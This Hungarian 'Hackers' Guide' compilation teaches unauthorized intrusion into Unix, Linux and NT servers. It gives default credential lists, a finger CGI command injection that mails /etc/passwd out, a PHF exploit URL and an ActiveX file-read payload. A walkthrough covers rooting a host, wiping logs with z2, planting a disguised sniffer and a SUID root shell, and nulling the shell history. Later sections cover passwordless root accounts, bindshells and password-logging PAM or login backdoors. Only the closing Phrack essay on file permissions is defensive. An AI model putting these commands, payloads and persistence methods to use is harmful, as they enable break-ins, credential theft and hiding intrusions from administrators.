programot elindíthatsz a nyitott porton kesresztül (ha megvan a hibát kihasználó progi)). A másik doksimban már írtam a default login-okról. Érdemes ezekkel is megpróbálkozni; Login: root sys bin mountfsys adm uucp nuucp anon user games install demo umountfsys sync admin guest daemon Password: root sys/system/bin sys/bin mountfsys adm uucp anon anon user games install demo umountfsys sync admin guest daemon Jog: root user user root user user user user user user root user root root user user user Sőt, az eddig szerzett infókkal is próbálkozhatsz jelszóként. Pl: a user-ekről (akiknek már ismerheted a login-ját) szerzett adatokat próbálgasd ki jelszónak. Innentől kezdve a valódi behatolási technikákat írom le. Az első módszer a finger törés. A böngészőbe (anonymus!) írd be: (www)hackmecom/cgi-bin/finger Ha a célpontnak van finger-servere, akkor egy doboz jelenik meg, ahová ha beírod az egyik felhasználó e-mail címét + a sajátod + még
valamit valahogy így: user@hackme.com ; /bin/mail te@e-mail cimed < etc/passwd akkor az emil címedre elküldi a server a jelszófilet ((Linux/Unix/egyéb jó servereknél, winfo$nál nem müxik)amit csak fel kell törnöd a John the Ripper-el (hogyha nem shadow-os)). Ez a technika csak rosszul beállított server-eknél jön be, ahol nincs letiltva a finger. Ugyancsak rosszul beállított Unix server ellen egy régi módszer a PHF. Írd be: http://www.hackme com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd (anonymus böngészőbe)! Erre vagy azt írja ki hogy "Kapd be", vagy a jelszó- file-t. Másold a vágólapra a jelszófile-t, onnan pedig egy file-ba, amit feltörsz John the Ripper-el. Próbálkozhatsz trojannal vagy keylogger-el is ( NAGYON speciális esetekbe!!!) , de ezt nehéz felrakni + könnyű felismerni + a server firewallja blokkolja a trojan kommunikációját. Ha meg keyloggerrel próbálkozol, nehéz megszerezni az így nyert file-t, ráadásul csak a
fő célgépen elhelyezett trojannak/keyloggernek van értelme. Megpróbálhatod a jelszófile-t anonymus FTP-vel lemásolni az /etc-ből (aztán feltörni John the Ripper-el). Próba szerencse :) A következő módszer a klasszikus bruteforce attack. Ez úgy működik, hogy valamelyik porton keresztül egy (jel)szófileból szedett jelszavakkal próbálgat a bejutni a rendszerbe (esetleg 19 Hackers’ Guide karaktereket próbálgat "pörgetni" mint a filmekben, de az nagyon hosszadalmas. Ez a legdurvább és a legveszélyesebb az összes közül, ugyanis nem igazán fog tetszeni a célpont firewalljának és az üzemeltetőjének hogy a hálón keresztül valaki több 1000 jelszóval próbálgat belépni. :) Éppezért olyan progival csináld, ami nagyon gyakran (és menet közben) váltogatja a proxy-kat. Ráadásul ha nincs szerencséd akkor a rendszergazdi ott ül a server előtt és röhög + megpróbálja a proxy mögé rejtett IP-d lenyomozni. A fentiek ellenére
bombabiztos, jó technika ez, csak vigyázni kell vele. A következő módszer a sniff-elés A másik doksimba már leírtam a működési elvét. Ez is bombabiztos, de ez ráadásként még biztonságos is, mert egy jó Linux-os sniffer-t nem (vagy csak nagyon nehezen) fedeznek fel. Az 1 Elender törést is így hajtották végre. Hátrányai hogy elég időigényes és elég fárasztó bogarászni a logjában. Egy elég bonyolult módszer a spoof -olás Arra épül, hogy a célpont server egyes IP-címeknek, olyan jogokat ad, amiket másoknak nem. Például egy adott IP-ről jelszó nélkül felenged bármilyen account-ot a server. Ehhez sajna fel kell törni a jogokkal rendelkező IP-jű server-t (vagy megtéveszteni mindkettőt, de az már nagyon bonyolult). Még nem esett szó az úgynevezett exploit programokról. Ezek különböző rendszerhibák (bug-ok) kihasználására készültek Rengeteg van belőlük. Ha a fenti alapmódszerek csődöt mondanak, érdemes megpróbálkozni
egy exploit scannerrel, ha pedig az rést fedez fel, akkor beszerezve a hozzá való exploit progit nagy segítséghez jutunk. Ha már feltörted a server-t és a nyomokat eltávolítottad, mielőtt értesítenéd a rendszergazdit, csinálj egy backdoor-t a server-en, amin kersztül vissza tudsz jönni ha akarsz (ugyanis a jelszókat meg fogják változtatni). Pl: telepíts trojan-t (bár ezt könnyen megtalálják), de a legjobb ha elrejtesz a gép rendszerfile-jaiba különböző beállításokat. Pl: a kernel-be beállítod hogy a te IP-dről jelszó nélkül engedjen be a server egy 0-ás UID-al rendelkező account-al (bár a checksum nevű progi az ilyen változtatásokat is észreveszi). Ennyit az egyszerűbb server törésekről, remélem tudtam újat mondani U.I: NT-hez van 3 yool kihasználható bug: loginoláskor az auto- matán induló progikat (pl.: explorerexe, isassexe, nddeagntexe, taskmgrexe és userinitexe) a rendszer 1.-nek nem a helyükön keresi (windoze illetve
windoze/system32 könyvtár), hanem a loginoló home könyvtárában, utánna pedig a gyökérben. Azt ugye nem kell ecsetelnem hogy ezzel mit lehet kezdeni. ?! A második bug: ha a beállított képernyővédő file-ját lecseréljük egy másik programra, akkor az fog elindulni system jogokkal. Ez a másik program lehet mondjuk az explorerexe Van még egy 3 bug is (ez win95 alatt is megy), aminek a segítségével file-ok létezését ellenőrízhetjük illetve beléjük olvashatunk (az ActiveX HTTP átirányításkor XML objektumok biztonsági rése). Ime hozzá egy kis exploit: ------------------------------------------------------------------------<object id="xm" type= "text/xml" data="http://www.natbg/~joro/rejectcgi?autoexec" width=400 height= 200> </object> <SCRIPT> function f() 20 Hackers’ Guide { s= xm.bodyinnerHTML; a= window.open(); //alert (s); a.documentopen(); a.documentwrite("Here is a part of AUTOEXECBAT (the
error message is normal):<BR>"+s); a.documentclose(); } setTimeout("f()",5000); </SCRIPT> ------------------------------------------------------------------------A dokumentumot csak az engedélyemmel publikálhatjátok máshol! ASCIImo * Linux törés Mindent feltörõ programokat még nem találtak fel ugye, ezért mindenhol használható módszer nincs. Amit tehetünk: megpróbáljuk az adott rendszer (rendszergazda ;-) hibáit megkeresni. De a keresést sose az otthoni géprõl kezdjük, végezzük inkább más hostról, sikertelenség esetén így nem a mi ip-nk kerül a logba. Meg kell néznünk pár alapvetõ dolgot a rendszert integritásával kapcsolatban: Elõszõr egy végigpingelhetjük a célgép körüli ip-ket, hogy megtudjuk, mi veszik körül, érdemes nézni rajtuk egy-egy OSDetectet (osfingerprintbõl lehet követ keztetni). Egy portscann, lehetõleg minnél észrevehetettlenebbül (a SYN scan is hagyhat nyomot!), majd a nyitott
portokon futó daemonok verzióját kell 21 Hackers’ Guide átnyálazni, azaz feltelnetelünk az adott portokra, vagy valami segédprogival végignézzük a leggyakoribb szolgáltatások deafault portjait (pl. wdc-vel) # nmap celhost.hu -O -sS -d | wdc > porttxr Meg kell néznünk mi fut root jogokkal (ps aux | grep root), mi az amire van valamilyen exploit. Érdemes meglesni a SUID/SGID es progikat, ezt legkönyebben a: $ find / -type f ( -perm -04000 -o -perm -02000 ) >suidsgid.txt utasítással tehetjük meg. Utána már könnyedén tudjuk a kapott file összevetni valamilyen buglist archivum listájával. (ha azt látjuk a ps aux-nál, hogy bármelyik log az lp[0.3]-ra van irányítva, akkor inkább adjuk fel! Nyomtatott logot nehéz törölni:) Ha van webszerver, az milyen joggal fut, milyen CGI-k vannak a rendszeren, pár alapvetõ form-okban lévõ hibát megpróbálnék kijáccani, pl.: ; echo bla::0:0::/tmp:/usr/sh >> /etc/shadow ; beírása egy
formba, persze a megfelelõ helyetesítõ karakterekkel és utasításokkal (shadowot ugysem fogunk tudni átírni cgi-bõl;-). Érdermes átnyálazni, milyen deviceokra van jogunk uid-unk és gid-ünk alapján, érdemes belenéni épp ezért a /dev és /proc könyvtárakba. Természetesen ennek ellenõrzésére is vannak jó scriptek. Nézhetünk egy két figyelmetlenségbõl adó dó hibát, pl. a : $ cat /var/log/ | grep passw $ cat /etc | grep passw (stb.) néhány jelszót adhat extréme esetekben (pl. debian 20 /var/log/ppplog) Keressük meg a legkevésbé feltünõ könyvtrat, ahova van írásjogunk. Késõbbiekben állitsuk be úgy exploitkainkat, hogy oda dolgozzanak. Jó, ha van egy fileunk a binárisokról, ezt a: $ ls -l /bin /sbin /usr/bin /usr/sbin /usr/X11R6/bin > progz.txt parancsal hozhatjuk létre. 22 Érdemes sticky bites könyvtárokat keresni, ahova majd pakolhatunk. Hackers’ Guide $ find / -type d -perm 01777 a
/var/lib/gfont/gdf általában jó szokott lenni, de még a /var/tmp v. /var/lock is kevésbé feltûnõ, mint pl. a /tmp Feltölthetünk pár sechole / backdoor keresõ scriptet (chkexploit, wec) A fel- és letöltésnél ha van lehetõségünk (pl. scripteknél) használjuk a copy/paste -ot, pl. az így készített fileok feltöltése nem hagy sehol nyomot a forrásról. $ cat > chkexpoit.sh [.] [copy/paste] ^D $ chmod 700 chkexploit.sh ; chkexploitsh > chkexlog A fent példával ellentétben ne használjunk feltünõ fileneveket, pl. chkexploitsh helyett lehetett volna inább core a file nevet használni A megszerzett információkat letöröljük (vagy inkáb b copy/paste-al leszedjük, esetleg pipe-ból postoljuk) A daemonokról, suid/sgid -es programokról minden elérhető információt begyüjtünk (verziószám, hol fordítottátak, stb.), majd a rootként futó (ps aux | grep root) binárisokat letöltjük, és bõszen tanulmányozzuk. Letöltjük
az /etc és /var/log tartalmát, mármint amelyek letöltéséhez van jogunk. Ezeket is offline nyugisan átnézhetjük Megleshetjük a bin könyvtárak tartalmát Körbenézünk, van-e rá exploit (ha nem látunk a forráskódban valami hibát, ami nem valószín û ;-) Belenéznék a jobb security listek archivumába (pl. bugtraq) Keresnék a programnév + verzió szerint a neworder.boxsk -ban Átnyálaznék pár exploitokkal foglalkozó oldalt (hrv, rootshell) SUID/SGID-es fileokkal is probálkozhatunk: Hackelt libeket probálunk a rendszerbe illeszteni (LD PRELOAD) Az /etc/shadow file bemenetként való megadása Saját script becsempészése a SUIDos progik közé Van-e SUID-os CGI a rendszeren, és milyen paramétereket fogad el shellbõl. Ha van rá exploit, akkor azt haszláni rá természetesen. Egy-2 trójai trükk elhelyezése a rendszeren: .forwared és rhosts file hátrahagyása 23 Hackers’ Guide
/var/tmp/valami --> /etc/shadowos symlink gcc-s exploit Ha megvan a rootshell, akkor hagyjunk pár backdoort shadowfileban egy új user bejegyzése, a 2 valamelyik magasaabb hatványával egyezõ UID-dal. Sniffer elindítása, hogy az eth0 -on lévõ gép ekre át tudjunk mászni. Egy-2 hackel lib hátrahagyása Valamelyik nem SUID-os progi "kicserélése" letöltjük az /etc/shadow filet Elhelyezünk egy suid shellt, valami nagyon nem feltûnõ helyre, pl. : /usr/lib/libvz.so2 -re, vagy valamilyen doc-os dirbe, core néven Utolsó lépések, a nyomok eltakarítása: legyakjuk shell historyját, és/vagy irunk bele ártatlan dolgokat (pine pine pine ;-) Izgulunk, hogy a root nem ült végig a gép elõtt pattagott kukoricával a kezében, jót szórakozva azon, hogy már értesített mindenkit. Rendetcsapunk a /var/log -ban, rákeresünk IP-nkre, hostunkra, és eltüntetjük ami nem kell (az auth.log, messages,
debug, lastlog, maillog, xferlog, alert, daemon.log, faillog, kernlog, syslog mind tartalmazhat adatot a betörésrõl)< /li> Meglessük a leveleket, suidconf, vagy bármi más nem akart-e leleplezni minket. Megnézzük milyen egyébb ellenõrzõ rendszer/script van a gépen, és elvégezzük a megfeleltõ módósításokat. Röviden ennyi, vagy legalábbis ilyesmi:) crow@linuxfreak.com [PGPKey http://linuxfreakcom/~crowpgp Id:2E0CA8E3] * Egy lehetséges támadásra példa Az egész iromány lényege,hogy miután megszereztük a ROOT hozzáférést töröljünk minden nyomot magunk után, és megprobáljunk "láthatatlanul" mozogni a 24 Hackers’ Guide rendszerben!Nem lehet eleget hangsúlyozni:MINDEN RÁNK UTALÓ BEJEGYZÉST TÖRÖLJÜNK!Most álljon itt egy példa(lépésrõl-lépésre)miket lehet és kéne csinálni bár a lehetõségek száma végtelen csak a találékonyságunktól függ: [/home/master] finger @celpont.hu [celpont.hu] No one
logged on Nincs senki a rendszerbe,igy bejelentkezünk! [/home/master] telnet celpont.hu Trying celpont.hu Connected to celpont.hu Escape character is ¡]. Welcome to Celpont Research Linux (http://celpont.hu) Red Hat 21 Kernel 1.213 on a i586 login:jnsmith Password: Linux 1.213 [jnsmith@celpont jnsmith]$ w 5:36am up 18 days, 8:32, 1 user, load avarage: 0.01, 000, 000, User tty login@ idle JCUP PCPU what jnsmith ttyp1 5:35am w Rendben megvagyunk,most szerezzünk ROOT jogot,aztán jöhetnek a log fileok! [jnsmith@celpont jnsmith]$ cd .term Ez yo kis rejtett könyvtár, pont megfelel nekünk! Most végtelen lehetõségünk van arra, hogy exploitokkal vagy valami trükkel ROOT-ot szerezzünk! Próbáljuk meg az umount.c exploittal majd megpróbálom a forrását is megszerezni, de a neworder.boxsk-ról vagy a wwwhackcoza-ról letölthetõ! Miután leforditottuk, inditsuk el: [jnsmith@celpont jnsmith]$./umount Ha minden igaz már ROOT jogunk van, most rejtsük el, hogy egyátalán a
rendszerben vagyunk! Keresgéljünk a neten 1 kicsit megin valamilyen ROOTKIT-ben megvannak azok a programok melyekre szükségünk lesz! A z2 program nem mutatja, hogy a rendszerben vagyunk ha kiadjuk a w vagy a who parancsot, tehát: bash# ./z2 jnsmith Zap2! Nézzük meg ezután,sikerült-e láthatatlanná válni? bash#w 5:37am up 18 days, 8:24, 0 user, load avarage: 0.08, 002, 001, User tty login@ idle JCUP PCPU what Fantasztikus nem vagyunk a rendszerben, most csináljunk egy két hasznos dolgot! 25 Hackers’ Guide bash# whoami root /tényleg root felhasználók vagyunk/ bash# pwd /meglessük melyik könyvtárban vagyunk/ /home/jnsmith/.term Most pedig töröljük vagy "kozmetikázzuk" a log fileokat! bash# cd /var/log A log fileok más könyvtárban is lehetnek, ezek renszerenként vagy inkább rendszergazdánként változnak (pl.:/var/adm) De a legjobb ha megnézzük a /etc/syslog.conf fileban, hogy mit és hova naplózunk! bash# grep támadohost * maillog:Jan 29
05:31:58 celpont in.telnetd[22072]:connect from tamadohosthu maillog:Jan 29 05:35:29 celpont in.telnetd[22099]:connect from tamodohosthu bash# pico maillog A pico programban ctrl+w ---> keresés és a ctrl+k a sor törlése! Szóval ezeket a sorokat töröljük! bash#grep tamodohost * Ha nem talál semmit akkor valószinüleg a nyomokat eltüntettük! bash# w 5:41am up 18 days, 8:27, 0 user, load avarage: 0.00, 000, 000, User tty login@ idle JCUP PCPU what Most megnézzük maradt-e nyom a ténykedésünkrõl más fileban vagy könyvtárban: bash# cd ~jnsmith/.term bash# lled bash# lled -c tamadohost Entries stored: 527 Entries removed: 0 Most másoljuk át a lastlog.tmp filet a /var/log/lastlog-re és olyan jogokat adjunk neki amilyen az eredeti fileon volt! Ezzel a lastlog kész! bash# wted -e jnsmith Entries stored: 254 Entries removed: 0 A wtmp.tmp filet másoljuk át a /var/log/wtmp-re és a jogokat állitsuk be! Ezzel végeztünk,most sniffeljünk egy kicsit! bash# pico
linsniffer.c A forrásban módositsunk egy kicsit: #define TCPLOG "/tmp/.pinetemp000" <-- Ide foglyuk naplózni a sniffer által elkapott csomagokat! Nézzük meg a futó programokat és, hogy milyen nevet adjunk a snifferünknek, mert nem tanácsos feltünõ nevet adni (pl.:sniff vagy linsniff vagy ilyenek) mert ha ad adminisztrátor észreveszi azonnal lebukhatunk! bash# ps -aux root 143 26 0.0 00 84 0 ? SW Jan 10 0:01 (lpd) Hackers’ Guide root root root root root root root root root root root root root root root 154 0.0 00 118 0 ? SW Jan 10 0:00 (smbd) 163 0.0 05 76 176 ? S Jan 10 0:00 nmbd -D 197 0.0 00 76 0 v03 SW Jan 10 0:00 (getty) 198 0.0 00 76 0 v04 SW Jan 10 0:00 (getty) 199 0.0 00 76 0 v05 SW Jan 10 0:00 (getty) 200 0.0 00 76 0 v06 SW Jan 10 0:00 (getty) 201 0.0 00 88 0 s00 SW Jan 10 0:00 (uugetty) 209 0.0 02 35 76 ? S Jan 10 0:01 (update) 210 0.0 03 35 124 ? S Jan 10 0:03 update (bdflush) 10709 0.0 14 152 452 ? S Jan 27 0:10 httpd 11111 0.0 14 152
452 ? S Jan 27 0:07 httpd 14153 0.0 08 70 268 ? S Jan 16 0:03 /inetd 14307 0.0 47 1142 1484 ? S Jan 16 1:16 /named 14365 0.0 00 76 0 v02 SW Jan 16 0:00 (getty) 17367 0.0 14 152 452 ? S 11:01 0:02 httpd Akkor forditsuk le nmb névre a sniffert! bash# gcc linsniffer.c -o nmb Inditsuk el, természetesen a háttérben! bash# nmb& [1] 22171 Lessük meg a naplófájlt a /tmp-ben: bash# cd /tmp bash# ls -al .pin* total 15691 -rw-rw-r-- 1 root jnsmith 0 Jan 29 05:50 .pinetemp000 bash# chgrp root .pin* /Nézzük meg most/ bash# ls -al .pin* -rw-rw-r-- 1 root root 0 Jan 29 05:50 .pinetemp000 Ez rendben is van, most csináljunk magunknak egy suid shellt az esetleges késõbbi visszatéréshez! bash# cd /bin bash# ls -al bash -rwxr-xr-x 1 root root 299296 Nov 2 1995 bash Létrehozunk egy új parancsot :) bash# cp bash findhost bash# ls -l findhost -rwxr-xr-x 1 root jnsmith 299296 Jan 29 05:59 findhost Megváltoztatjuk a csoport tulajdonost, majd a file dátumát és SUID-ra állitjuk!
bash#chgrp root findhost -rwxr-xr-x 1 root root 299296 Jan 29 05:59 findhost bash# chmod +s findhost bash# ls -al findhost -rwsr-sr-x 1 root root 299296 Jan 29 05:59 findhost 27 Hackers’ Guide bash# touch -t 111312331995 findhost bash# ls -al findhost -rwsr-sr-x 1 root root 299296 Nov 13 1995 findhost A következõ lépés mivel bash a shell igy a legyakjuk a shell historyát egy symlinkkel: bash# cd /igy belépünk a home könyvtárunkba/ bash# ln -s /dev/null .bash history Ezzel készen vagyunk,akár ki is léphetünk a rendszerbõl! Aki akar az tud tanulni belõle bár egyes technikák már elavultak benne! Aki nem akar a logokkal bajlódni csak egyeszerûen törölje õket majd állitsa le a syslog daemont! Sok sikert bár a legjobb dolog ha van egy barátunk akit szintén érdekel ez a hacker téma és egymás gépén gyakoroltok a kezdeti idõben igy biztos nem tudtok lebukni, igy lehet a legjobban tanulni, aki ezt teheti mindenképpen igy csinálja! Forditotta: Depth
Eredeti mü : The Hackers Handbook * Backdoorokról gyakorlatban Ebben a cikkben unixos gépekrõl lesz szó, mégpedig egy igen gyakori és sokrétû problémáról, azaz hogyan hagyjunk olyan hátsó kaput a feltört számítógépen, hogy azon keresztül bármikor észrevétlenül bejuthassunk a gépre. Persze az sem egy utolsó szempont, ha a szerveren a belépés után nem kell órákig törölgetni a logokat. :) 1. Új felhasználó A legrégebbi módszer új felhasználó felvétele a rendszerbe. Elõnye, hogy bármilyen rendszeren rendelkezésre kell, hogy álljon egy ilyen lehetõség, hátránya viszont, hogy a rendszergazda bármikor könnyen észreveheti, ezután pedig ritka az olyan eset, hogy nem nézi át a gépet biztonságilag ;) Jó, tehát új felhasználót a useradd paranccsal hozhatunk létre. Ez viszont eleve loggolási lehetõséget sejtet, tehát nem ez a legszerencsésebb megoldás :) A következõ paranccsal viszont: echo
"lajos::0:0:Lajos:/:/bin/sh" >>/etc/passwd létrehoztuk a lajos nevû, jelszó nélküli felhasználót, aki root jogokkal rendelkezik. Itt fellép egy újabb probléma, root jogú felhasználó ugyanis ritka, hogy telneten, ssh-n keresztül be tudjon jelentkezni. Az elõbbi lajos-t így csak su-val tudunk root-tá válni Ezért célszerû egy nem-root jogú felhasználót is létrehozni, vagy egyszerûen feltörni valakinek a jelszavát, és azt használni exploitok helyett. 2. Exploit Nincsen hiba nélküli rendszer. Ha már hozzáféréssel rendelkezünk egy számítógépre, csak idõ és türelem kérdése, hogy egy megfelelõ exploitot találjunk 28 Hackers’ Guide hozzá. Ha az exploit megbízható, nem marad utána sok log, akkor érdemes elgondolkozni azon, hogy új felhasználó, vagy egyéb backdoor helyett mindig ezt az exploitot használjuk. Ugye azt mondanom se kell, hogy a fájlokat persze nem árt eldugni. Valami gyakori nevet kell keresni a
(leforditott) exploitnak, és berakni valamelyik sok fájlt tartalmazó könyvtárba. A módszer hátránya, hogy a jobb rendszerek tartalmazhatnak olyan scripteket, amik -esetleg a cron miatt naponta többször is- leellenõrzik a rendszert, hogy található-e új fájl, és ha igen, egy mail-lel értesítik a root-ot. Éppen ezért ha lehetséges, rakjuk fel az exploitot egy publikus szerverre, pl. freewebhu :) és onnan töltessük le wget-tel a programot 3. Bindshell További lehetõségként elõttünk áll egy bindshell felrakása is. A bindshell egy olyan program, ami egy megadott porton várja a csatlakozást, és ott root, vagy egy adott felhasználó jogaival végrehajtja a kiadott parancsokat, a kimenetet pedig visszaküldi a csatlakozott hákkernek. Ilyen bindshellt szinte minden programnyelvre találunk, érdemes elindulni a packetstorm keresõjén keresztül. Elõnye a dolognak, hogy a csatlakozás loggolása teljesen ki van kapcsolva, hátránya viszont, hogy egy netstat
ta -val a rendszergazda észreveheti, hogy pl. a 666-os porton egy szerver alkalmazás csücsül :) (A futó programok lekérdezésével nehezebb észlelni a dolgot, hiszen szinte minden jobb bindshell tartalmaz olyan részt, ami megváltoztatja a kernel számára a saját elérési útvonalát és a programnevét, pl. valami olyanra, hogy syslogd ;) 4. login A régebbi unix rendszerek a login nevû programot használtuk önmagában a számítógépbe való belépéshez. Ez azóta részben megváltozott, ugyanis a login -ról elég nagy részt a PAM vállal át, errõl bõvebben a következõ pontban lesz szó. Tehát a login program az, amelyik a felhasználónév és jelszó bekérését végzi, akkor mi akadályozhat meg minket abban, hogy módosítsuk a forrását? Ilyenkor jön be a képbe az opensource programok szerepe :) apt-get -tel pillanatok alatt levarázsolhatjuk a shadow csomag forrását, vagy ha nem Debian rendszerrel rendelkezünk, akkor a freshmeat.net -en egy
egyszerû keresés után elénk tárul az url. Ja igen, a unixos programok 99%-a C-ben íródott Tehát ha nem rendelkezünk egy legalább minimális szintû C ismerettel, akkor fölösleges is nekiállnunk az itt ismertetett módszernek. Jó, megvan a forrás, nézegessük a loginc -t, és rájövünk bizony, hogy a felhasználónév és jelszó ellenõrzését egy pw auth.c nevû fájlban találhatjuk. Na ide elõnyként felhozható a jelszavak loggolása, szinte észrevétlen backdoor felhasználó létrehozása, és a loggolás minimalizálásának lehetõsége. Hátrány, hogy bizony meg kell vele szenvedni rendesen, és azért érteni is kell hozzá. Nem is ajánlom, hogy a célponton kisérletezz, mert ha elqrsz valamit, könnyen elõfordulhat, hogy utána a rendszergazda még a konzolon se fog tudni bejelentkezni, ami meglehetõsen gyanús lehet még egy naív root elõtt is. :) Jut eszembe, .bash history létrehozását senki nem felejti el kikapcsolni? Pl a fájl,
átlinkelhetõ /dev/null -ra: ln -s /dev/null .bash history 5. PAM Mint már az elõbbi pontban említettem, a login -tól az újabb rendszereken jelentõs feladatot vállal át a PAM. Mi is ez valójában? Pluggable Authentication Module, vagyis egy központi felület, ami minden programozó rendelkezésére áll, hogy a programjában a felhasználóazonosítás biztonságosabban zajjon :) és úgy, hogy az azonosításnak egyetlen pontja se az õ programjába legyen implementálva. Ez azt 29 Hackers’ Guide jelenti, hogy tegyük fel, írsz egy vadiúj programot, ami csinál valamit, és természetesen felhasználói jogokhoz van kötve, stb. Neked a programban még a felhasználónevet sem kell bekérni, mindent a PAM fog elvégezni helyetted. Szuper, és hogy jön ez ide? :) Ha megnézzük egy bejelentkezés után a syslogot, akkor valami hasonlót kell hogy lássunk: pam unix AUTHENTICATION user blabla. A pam unix itt a felhasználóazonosításért felelõs PAM modult
jelenti. A módosítandó "program" tehát ez. A PAM forrását a wwwkernelorg -ról tölthetjük le Nagyon fontos a pontos verziószám, különben a modul nem fog mûködni, sõt nagyon könnyen mindenkit kizárhatsz a rendszerbõl, hiszen senki nem tud bejelentkezni egy elqrt azonosító rendszeren :) A pontos verziót a /lib könyvtárban található lib-pam-* pontos verziószáma alapján lehet megállapítani. Itt most egy olyan példát találhattok a módosított pam unix -ra, amely nem backdoor-ként funkcionál, pusztán loggolja a bejelentkezéseket egy adott fájlba, természetesen a jelszót kódolatlanul. Ezzel gyakorlatilag a felhasználók úgymond kiadják a saját jelszavaikat. Ez óriási elõnyt jelent a jelszavak törésére nézve, ugyanis én vonakodva állnék neki egy 8 karakteres MD5-tel titkosított jelszó feltörésének is. Az összes módosítás kommentekkel ki van emelve, és a fájlban található még némi kis instrukció a fordítással
kapcsolatban is. 6. libcrack A titkosítást egy közös felületen érhetjük el, ezt végzi a glibc nevû csomagban levõ libcrack. A crypt függvény kapja meg a kódolatlan jelszavakat, és visszatérési értékként a kódolt jelszó várja a programozót. Ha ezek után sem kapcsoltál, hogy ezt mire lehetne felhasználni, akkor azt hiszem fölösleges is lenne nekiállnod módosítani a forrását, hogy loggolja a jelszavakat. Zárszóként annyit mondanék, hogy nem az a nagy hákker, aki minden héten 15 honlapot difészel. Szerintem sokkal nagyobb kihívást jelent egy gépet megtartani a rendszergazda tudta nélkül. Módosított PAM forrás letöltése 2001.0521 /RSC * Unix Rendszerek Biztonsági Lyukai Fordította: TheElf Eredeti cím/szerzõ: "Unix System Security Issues" from Phrack Inc. Volume Two, Issue 18, Phile #7 of 11 /typed by: Whisky (from Holland, Europe)/ From Information Age, Vol. 11, Number 2, April 1988 Written By: Michael J Knox and Edward D.
Bowden ELÕSZÓ 30 Hackers’ Guide "Úgy érzem jó ötlet ezt a fájlt közzétenni a UNIX-hacker társadalomban megmutatva, hogy a hackerek nem mindig tesznek kárt, néha keresik a módszereket, hogyan tehetnék biztonságosabbá a meglévõ rendszereket." -- Jester Sluggo A FÁJL ÉS A KÖNYVTÁR BIZTONSÁGI JELLEMZÕI Az UNIX operációs rendszerben a fájlok és a könyvtárak fa struktúrába vannak rendezve, különleges hozzáférési módot használva. A különbözõ módok beállítása a hozzáférési bitek (oktális azaz 8-as számrendszerbe szervezve) segítségével történik. Ez alkotja az UNIX operációs rendszer biztonságának alapját A hozzáférési bitek határozzák meg, hogy tudják a felhasználók a fájlokat felhasználni, elérni. A három féle felhasználói mód az összes UNIX op. rendszerben a következõ: tulajdonos, csoport, mindenki(mindenki más). Fájl hozzáférés lehetséges olvasásra, írásra és futtatásra, melyek
minden felhasználótípusra külön-külön beállíthatók a hozzáférési bitekkel. A fájl-biztonság rugalmassága megfelelõ, de bírálták már mint rendszer-biztonsági kompromisszum. A hozzáférési módok TULAJDONOS CSOPORT MINDENKI rwx rwx rwx 421 421 421 r : olvasás (Read) w : írás (Write) x : futtatás (eXecute) -rw--w-r-x 1 bob csc532 70 Apr 23 20:10 file drwx------ 2 sam A1 2 May 01 12:01 directory 1. ÁBRA : Fájl és könyvtár elérési módok A fájlnál bob a tulajdonos, írási és olvasási joggal, a csoport rendelkezi írási joggal, a többiek pedig olvasási és futtatási joggokkal. A könyvtár egy "bizonsági" könyvtár, melyet a csoport, s a tobbiek nem olvashatnak, írhatnak vagy futtathatnak. Mivel az UNIX op.r-ben a védelmi mechanizmus igen fontos, fõ szempontnak tekinthetõ a hozzáférési jogok megfelelõ beállítása a legnagyobb biztonságért. Eltekintve a felhasználói tudatlanágtól, a leggyakoribb a fájlok
létrehozásakor az alapértelmezett hozzáférési jogosultságának beállítása. Néhány rendszerben ez oktálisan 644 (4+2:4:4), azaz a tulajdonos írhatja, olvashatja, a csoport és a többiek csak olvashatják az adott fájlt. Ez a beállítás a legtöbb "nyitott" rendszerben elfogadható. Ellenben, ahol "fontos" adat található, ott érdemes a többiek olvasási jogát is kikapcsolni. A fájltípus beállító (unmask) kielégíti ezt a követelményt A javasolt beállítás : umask 027; engedélyezi a hozzáférést a tulajdonosnak, megtiltja az írást a csoportnak, és nem engedélyez semmit a többieknek (umask 027 = oktális 777- 750; azaz -rwxr-x---). A megfelelõ umask parancs a felhasználói profile vagy .login fájlba behelyezve felülírja az alapértelmezett beállítást és az új beállításnak megfelelõen kerülnek a fájlok létrehozásra. A chmod parancs használható a fájlok és könyvtárak hozzáférésének megváltoztatására.
A következõ parancs használata: chmod u+rwd,g+rw,g-w,u-rwx file 31 Hackers’ Guide ugyanazt a hatást fejti ki mint a fent bemutatott umask (oktális 750). A hozzáférési jogokat meg lehet szüntetni a chmod paranccsal késõbb is, de legalább kezdetben be kell állítani, a fájl struktúrát pedig biztonságossá tehetõ egy megszorító umask paranccsal. Megbízható alkalmazásokkal mint az umask és a chmod a felhasználók javíthatják a fájlfendszer biztonságosságát. Az UNIX rendszer behatárolja a biztonságot, így a felhasználó csak a tulajdonos, csoport, mások kategóriák valamelyikébe eshet. Ezért a tulajdonos nem adhat külön hozzáférési jogokat meghatározott felhasználóknak. Ahogy Kowack és Healy rámutatott: "A fájl-biztonság szemcsésítése (nagyobb egységek kezelése) nem megfelelõ a gyakorlatban(, mivel) nem lehetséges, hogy egy felhasználónak olvasási, míg egy másiknak írási jogokat adjunk ugyanarra a könyvttárra. A
megfelelõ fájl-biztonsági kiegészítés a UNIX-hoz egy MULTICS stílusú hozzáférési lista. A hozzáférési mód gyengeségeinek észben tartásával mindig ügyelnie kell a hozzá tartozó fájlokra és könyvtárakra, és korrigálnia kell a hozzáférési jogokat, ha lehetséges. Bár a szemcsésség behatárolja a tervezés lehetõségeit, követve a bizonságos megközelítést lehetõségünk van sokkal biztonságosabb UNIX rendszer (-fájl-) struktúrára." SUID és SGID (felhasználó és csoportazonosítók beállítása) A felhasználó és csoportazonosítók beállítása (Set User ID: SUID, Set Group ID: SGID) azonosítja a felhasználót és a csoportot a fájl számára. A SUID vagy az SGID hozzáférés futtatható fájlra beállításával más felhasználók is elérhetik ugyanazokat az erõforrásokat (a futtatható fájllal), amelyeket az "eredeti" tulajdonos. Például: Legyen Bob programja bob.x futtatható fájl, hozzáférési
